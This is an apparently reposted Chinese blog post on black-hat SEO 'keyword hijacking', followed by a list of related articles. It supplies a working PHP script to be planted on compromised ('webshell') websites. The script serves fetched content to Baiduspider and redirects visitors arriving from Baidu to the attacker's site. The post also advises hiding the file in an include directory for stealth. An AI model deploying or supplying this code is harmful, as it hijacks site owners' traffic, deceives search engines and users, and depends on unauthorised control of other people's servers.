搜索引擎关键词劫持之php篇(源码与分析)

时间:2022-09-28 16:06:34

摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...

其实原理很简单:
搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

if(来访者是蜘蛛){
输出指定内容
}
if(用户是从搜索引擎点击进入网站的){
跳转我们希望跳转的站点B
}

所以我们可以达到如下效果:
针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
表达能力有限,说了这么多也不知道大家明白没有。。。
那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。

<?php
################################################
# 可以把本文件放在类似inc、include这样的目录中 #
# 首页require_once('本文件路径');就可以了 #
# 这样会比较隐蔽 #
################################################
if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) {
//判断搜索引擎,这里是百度,可以自行添加蜘蛛
/*
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://www.yunsec.net/");
//这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话...
*/
$file = file_get_contents('http://www.yunsec.net/forum.php');
echo $file;//输出指定文件内容
exit;
}
//判断来路
if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com
//Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用
Header("Location: http://www.yunsec.net/");//跳转
exit;
}
?>

搜索引擎关键词劫持之php篇(源码与分析)的更多相关文章

  1. 搜索引擎关键词劫持之asp篇

    摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽S ...

  2. 搜索引擎关键词劫持之&period;net篇

    摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax. 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=tex ...

  3. 通过解读 WPF 触摸源码,分析 WPF 插拔设备触摸失效的问题(问题篇)

    在 .NET Framework 4.7 以前,WPF 程序的触摸处理是基于操作系统组件但又自成一套的,这其实也为其各种各样的触摸失效问题埋下了伏笔.再加上它出现得比较早,触摸失效问题也变得更加难以解 ...

  4. JDK(十)JDK1&period;7&amp&semi;1&period;8源码对比分析【集合】ConcurrentHashMap

    前言 在JDK1.7&1.8源码对比分析[集合]HashMap中我们对比分析了JDK1.7和1.8版本的HashMap源码,趁热打铁,这篇文章就来看看JDK1.7和1.8版本的Concurre ...

  5. MapReduce的ReduceTask任务的运行源码级分析

    MapReduce的MapTask任务的运行源码级分析 这篇文章好不容易恢复了...谢天谢地...这篇文章讲了MapTask的执行流程.咱们这一节讲解ReduceTask的执行流程.ReduceTas ...

  6. MapReduce的MapTask任务的运行源码级分析

    TaskTracker任务初始化及启动task源码级分析 这篇文章中分析了任务的启动,每个task都会使用一个进程占用一个JVM来执行,org.apache.hadoop.mapred.Child方法 ...

  7. MongoDB源码分析——mongod程序源码入口分析

    Edit 说明:第一次写笔记,之前都是看别人写的,觉得很简单,开始写了之后才发现真的很难,不知道该怎么分析,这篇文章也参考了很多前辈对MongoDB源码的分析,也有一些自己的理解,后续将会继续分析其他 ...

  8. FFmpeg的HEVC解码器源码简单分析:解析器(Parser)部分

    ===================================================== HEVC源码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpeg ...

  9. LinkedHashMap 源码详细分析(JDK1&period;8)

    1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...

随机推荐

  1. Windows 7 上安装Visual Studio 2015 失败解决方案

    安装之前先要看看自己的系统支不支持,具体的可以看:https://www.visualstudio.com/en-us/visual-studio-2015-system-requirements-v ...

  2. uC&sol;OS-II队列&lpar;OS&lowbar;q&rpar;块

    /*************************************************************************************************** ...

  3. swprintf &percnt;s &percnt;ws &percnt;S 的区别

    http://www.codeproject.com/Articles/20869/D-Fast-Wavelet-Transform-Library-for-Image-Proces该作者提供的源代码 ...

  4. java中两个Integer类型的值相比较的问题

    今天在做一个算法时,由于为了和其他人保持接口的数据类型一致,就把之前的int换为Integer,前几天测了几组数据,和之前的结果一样,但是今天在测其它数据 的时候,突然出现了一个奇怪的bug,由于之前 ...

  5. Oracle 将普通表转换为分区表

    DB:11.2.0.30 将普通表转换为区分表 一.利用原表重建分区表SQL>create table yoon ( id number primary key ,time date ); Ta ...

  6. &lbrack;TypeScript&rsqb; Using Typings and Loading From node&lowbar;modules

    Using TypeScript when installing packages from npm often requires you to install related definition ...

  7. SpringMVC存取Session的两种方法 转

    方法一:使用servlet-api @Controller public class ManagerController { @Resource private ManagerService mana ...

  8. Android布局及属性归总(查询用)

    常见布局 LinearLayout    线性布局        子元素任意,组织成一个单一的水平或垂直行,默认为水平方向TableLayout    表格布局        子元素为<Tabl ...

  9. 安卓ADB学习笔记

    ADB(Android Debug Bridge)可以远程调试安卓设备,包括模拟器,可以进入终端模式(安卓本身相当于一个linux) 1.配置adb环境变量 以夜神模拟器为例,将模拟器安装路径里的bi ...

  10. 使用VMware Workstation 14 Player或者Oracle VM VirtualBox安装Fedora-Workstation-netinst-x86&lowbar;64-27-1&period;6操作系统的相关记录

    无论是在使用哪个(VMware或者Oracle VM)都遇到了一个问题:即使在安装完Fedoras操作系统之后,进行Reboot还是会进入之前一摸一样的安装界面,相当于再次安装.然而最最有效的解决办法 ...